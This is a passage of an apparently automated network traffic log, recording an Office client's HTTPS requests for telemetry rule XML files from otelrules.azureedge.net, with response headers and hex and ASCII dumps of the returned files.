2024-10-30 06:28:23 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:23 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:23 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 66490adc-301e-0096-4226-2ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062823Z-r197bdfb6b4xfp4mncra29rqkc0000000160000000001qm6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:23 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:23 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:23 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 4412bc79-a01e-0084-7102-299ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062823Z-r197bdfb6b46kdskt78qagqq1c00000007t000000000f9rr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:24 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:24 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:24 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c05ef2b3-701e-005c-2d6a-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062824Z-r197bdfb6b46kdskt78qagqq1c00000007zg000000001y16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:24 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:24 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:24 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062824Z-16849878b787wpl5wqkt5731b400000008eg0000000051mp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:24 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:24 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:24 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062824Z-15b8d89586fcvr6p5956n5d0rc0000000drg000000007r2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:24 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:24 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:24 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: cd644fad-f01e-0071-6ce7-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062824Z-r197bdfb6b46kdskt78qagqq1c00000007x0000000007ar3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:24 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:24 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:24 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062824Z-16849878b78wv88bk51myq5vxc00000007x000000000bn7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:24 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:25 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:25 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:25 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ef425c1b-901e-002a-63e7-277a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062825Z-17c5cb586f6r59nt869u8w8xt800000006p000000000663p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:25 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:25 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:25 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:25 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062825Z-16849878b78fhxrnedubv5byks00000006100000000045dx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:25 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:25 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:25 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:25 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c0e66d29-801e-00a0-12d5-272196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062825Z-r197bdfb6b47gqdjvmbpfaf2d000000002z0000000000te9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:25 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:25 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:25 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:25 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062825Z-16849878b78q9m8bqvwuva4svc000000066g0000000070ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:25 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data 